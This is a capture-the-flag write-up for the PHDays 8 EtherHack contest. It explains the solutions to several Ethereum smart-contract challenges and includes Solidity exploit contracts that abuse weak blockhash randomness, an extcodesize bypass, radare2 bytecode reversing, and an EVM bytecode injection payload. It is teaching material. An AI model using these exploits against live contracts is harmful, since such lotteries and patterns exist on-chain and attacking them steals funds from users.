PHDays 8: EtherHack Contest Writeup

Arseniy Reutov
Positive Web3
Published in
9 min readMay 22, 2018

--

This year at PHDays security conference a new contest called EtherHack was held. The goal was to be the first to solve all tasks which featured smart contract vulnerabilities. Here we present the detailed explanation of intended solutions.

Azino 777

The goal of this level is to win the lottery and hit the jackpot!

The first three tasks featured bad randomness issues that were covered in our recent research “Predicting Random Numbers in Ethereum Smart Contracts”. The first task being the easiest one had a PRNG that relied on the blockhash of the last block and used it as a source of entropy for random numbers:

As the result of block.blockhash(block.number-1) would be the same for any transaction within the same block, the attack assumed the use of an exploit contract with the same rand() function that called the target contract via an internal message:

function WeakRandomAttack(address _target) public payable {
target = Azino777(_target);
}
function attack() public {
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}

Private Ryan

We added a private seed, nobody will ever learn it!

This task was a bit tougher variation of the previous one. A variable seed deemed private was used as an offset to a block.number so that the blockhash would not be bound to the previous block. After each bet seed would be overwritten with a new “random” value. This was the case of Slotthereum lottery.

contract PrivateRyan {
uint private seed = 1;
function PrivateRyan() {
seed = rand(256);
}
function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
seed = rand(256);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}
/* ... */
}

Similarly to the previous task, a successful attacker would just need to copy the rand() function into the exploit contract, but this time the value of private variableseed should have been obtained off-chain and then supplied to the exploit as an argument. To do so, one could take advantage of web3.eth.getStorageAt() method of web3 library:

Reading contract storage off-chain to obtain the seed

When we’ve got the seed, all one need to do is just supply it to practically the same exploit as in the first task:

contract PrivateRyanAttack {  PrivateRyan target;
uint private seed;
function PrivateRyanAttack(address _target, uint _seed) public payable {
target = PrivateRyan(_target);
seed = _seed;
}
function attack() public {
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}
/* ... */
}

Wheel of Fortune

This lottery uses blockhash of a future block, try to beat it!

As per task description, the goal was to predict the blockhash of a block whose number was saved in the Game structure upon the bet occurred. This blockhash was then retrieved to generate a random number when a subsequent bet was made.

There were two possible solutions:

  1. one could call the target contract two times from exploit contract, the first call would result in block.blockhash(block.number) being always zero
  2. one could wait for 256 blocks to be mined before making the second bet, so that blockhash of the saved block.number would give a zero due to EVM limitations of the number of available blockhashes

In both cases the winning bet would be uint256(keccak256(bytes32(0))) % 100 or “47”.

Call Me Maybe

This contract does not like when other contracts are calling it.

One way to protect the contract from being called by other contracts is to use the extcodesize EVM assembly instruction which returns the size of the contract specified by its address. The technique is to use this opcode in inline assembly against msg.sender’s address. If the size for the address is greater than zero, then msg.sender is a contract since normal addresses in Ethereum do not have any associated code. The task used exactly this approach to prevent other contracts from calling it.

Transaction property tx.origin refers to the original issuer of the transaction while msg.sender points to the last caller. If we send the transaction from the normal address, these variables will be equal and we will end up with a revert(). That is why in order to solve the challenge one needed to bypass extcodesize check so that tx.origin and msg.sender would differ. Luckily, there is a nice EVM peculiarity that could help to achieve this:

Indeed, at the moment when a newly deployed contract calls another contract in its constructor it does not yet exist on the blockchain, it acts as a wallet only. Hence, it does not have associated code and extcodesize would yield zero:

contract CallMeMaybeAttack {
function CallMeMaybeAttack(CallMeMaybe _target) payable {
_target.HereIsMyNumber();
}
function() payable {}
}

The Lock

The lock is… locked! Try to find the correct pincode via unlock(bytes4 pincode) function. Each unlock attempt costs 0.5 ether!

This task didn’t reveal any piece of code so the participants had to reverse engineer the smart contract bytecode in order to solve the challenge. One of the ways to achieve this was to use radare2 framework which supports EVM disassembly and debugging.

Firstly, let’s deploy the task instance and submit a random guess:

await contract.unlock("1337", {value: 500000000000000000})false

Well, it was a solid attempt, but we didn’t have much luck. Let’s try to debug this transaction.

r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"

Here we instruct radare2 to use “evm” architecture. The tool then connects to the specified full node and retrieves VM trace of that transaction. At this point we are all set to dive into the EVM bytecode.

The first thing we have to do is to perform analysis:

[0x00000000]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)

Then we disassemble the first 1000 instructions (should be enough to cover the whole contract) with pd 1000 and switch to graph view with VV.

EVM bytecode compiled with solc usually starts with a function dispatcher which decides which function to call based on the first 4 bytes of call data which is a function signature defined as bytes4(sha3(function_name(params))) . The function of interest for us is unlock(bytes4) which corresponds to 0x75a4e3a0 .

Following the flow execution by pressing s we get into the node which compares callvalue with the value 0x6f05b59d3b20000 or 500000000000000000 which is 0.5 ether:

push8 0x6f05b59d3b20000
callvalue
lt

If we supplied a necessary amount of ether, we get into a node that resembles a control structure:

push1 0x4
dup4
push1 0xff
and
lt
iszero
push2 0x1a4
jumpi

It pushes value 0x4 onto the stack, performs some bounds checks (must not be greater than 0xff) and makes lt comparison with some value that got duplicated from the 4th stack item (dup4).

Scrolling to the bottom of the graph we see that this 4th item is actually an iterator and this control structure is a loop which corresponds to for(var i=0; i<4; i++):

push1 0x1
add
swap4

Looking at the loop body it is evident that it iterates over the input 4 bytes and performs some operations on each byte. Firstly, it ensures that Nth byte is greater than 0x30:

push1 0x30
dup3
lt
iszero

and then that it is lower than 0x39:

push1 0x39
dup3
gt
iszero

which basically is a check that the byte is within 0–9 range. If the check succeeds, we get into the most important code block:

Let’s split it into the following parts:

  1. 3rd element on the stack is an ASCII code of the Nth byte of the pincode. 0x30 (ASCII code of zero) is pushed onto the stack and then subtracted from the byte’s code:
push1 0x30
dup3
sub

Which means pincode[i] - 48 or we basically get here the actual digit from the ASCII code, let’s define it as d.

2. 0x4 is pushed onto the stack and then is used as exponent for the second element on the stack which isd:

swap1
pop
push1 0x4
dup2
exp

Which means d ** 4

3. 5th element from the stack is retrieved and the result of exponentiation is added to it, let’s define it as S:

dup5
add
swap4
pop
dup1

Which means S += d ** 4

4. 0xa (ASCII code for 10) is pushed onto the stack and is used as a multiplier for the 7th element from the stack (6th before the push), we don’t know what it is, so let’s define it as U. Then d is added to the result of the multiplication:

push1 0xa
dup7
mul
add
swap5
pop

Which means: U = U * 10 + d or, simply put, this expression reconstructs the whole pincode as a number from individual bytes ([0x1, 0x3, 0x3, 0x7] → 1337).

We did the most difficult part, now let’s proceed to the code after the loop.

dup5
dup5
eq

If 5th and 6th elements on the stack are equal, the flow will get us to an sstore which sets some flag in the contract storage. Since this is the only sstore, this is probably what we are looking for!

But how do we pass this check? As we have discovered earlier, 5th element on the stack is S and 6th element is U. Since S is a sum of each pincode digit raised to the 4th power, we need a pincode that will be equal to this sum. In our case, the code tested that 1**4 + 3**4 + 3**4 + 7**4 was not equal to 1337 and we didn’t reach the winningsstore.

Surely, we can now find a number that satisfies this equation. There are only three numbers that can be written as the sum of fourth powers of their digits: 1634, 8208, 9474. Any of them would unlock the lock!

Pirate Ship

Ahoy, landlubber! The pirate ship “Black Pearl” is at anchor. Make it pull the anchor and haul the black jack flag to set off for the search of treasures.

The normal workflow of the contract assumed three actions:

  1. call dropAnchor() with a block number that must be greater than 100k blocks than the current one. The function dynamically creates a contract that represents “an anchor”, which can be “pulled” with a selfdestruct() after the specified block
  2. call pullAnchor() that triggers selfdestruct() if enough time has passed (really long time!)
  3. call sailAway() that sets blackJackIsHauled to true if the anchor contract does not exist

The vulnerability is quite evident: we have a direct assembly injection into a newly created contract in dropAnchor(). But the real challenge was to craft a payload that would let us pass the condition on block.number.

In EVM it is possible to create contracts using create opcode. Its arguments are “value”, “input offset” and “input size”. Value is a bytecode that unwraps the actual contract, i.e. init code. In our case init code + code to deploy is just a uint256 (kudos to GasToken team for the idea):

0x6a63004141414310585733ff600052600b6015f3

where the bytes in bold is the contract code to deploy and 414141 is the injection point. Since our goal is to get rid of throw we need to inject our new contract and overwrite the trailing part of init code. Let’s try to inject this new contract with 0xff which will unconditionally selfdestruct() the anchor contract:

68 414141ff3f3f3f3f3f ;; push9 contract
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; return

If we convert this sequence of bytes to a uint256 (9081882833248973872855737642440582850680819) and supply it as an input to dropAnchor(), it will give us the following value of code variable (bytecode in bold is our payload):

0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff

After code variable becomes part of initcode variable we get the following value:

0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3

As you see high bytes 0x6300 are gone, the trailing part containing the original bytecode is discarded after 0xf3 (return).

As a result a new anchor contract with altered logic is created:

41 ;; coinbase
41 ;; coinbase
41 ;; coinbase
ff ;; selfdestruct
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk

If we now call pullAnchor(), this contract will be immediately destroyed since we don’t have a condition on block.number any more. After that, the call tosailAway() will make us a winner!

Results

  1. The first place and 1,000 USD in Ether: Alexey Pertsev (p4lex)
  2. The second place and Ledger Nano S: Alexey Karpov
  3. The third place and PHDays souvenirs: Alexander Vlasov

Full standings: https://etherhack.positive.com/#/scoreboard

Congratulations to the winners and thanks to all participants!

P.S. Kudos to Zeppelin for open-sourcing Ethernaut CTF platform.

--

--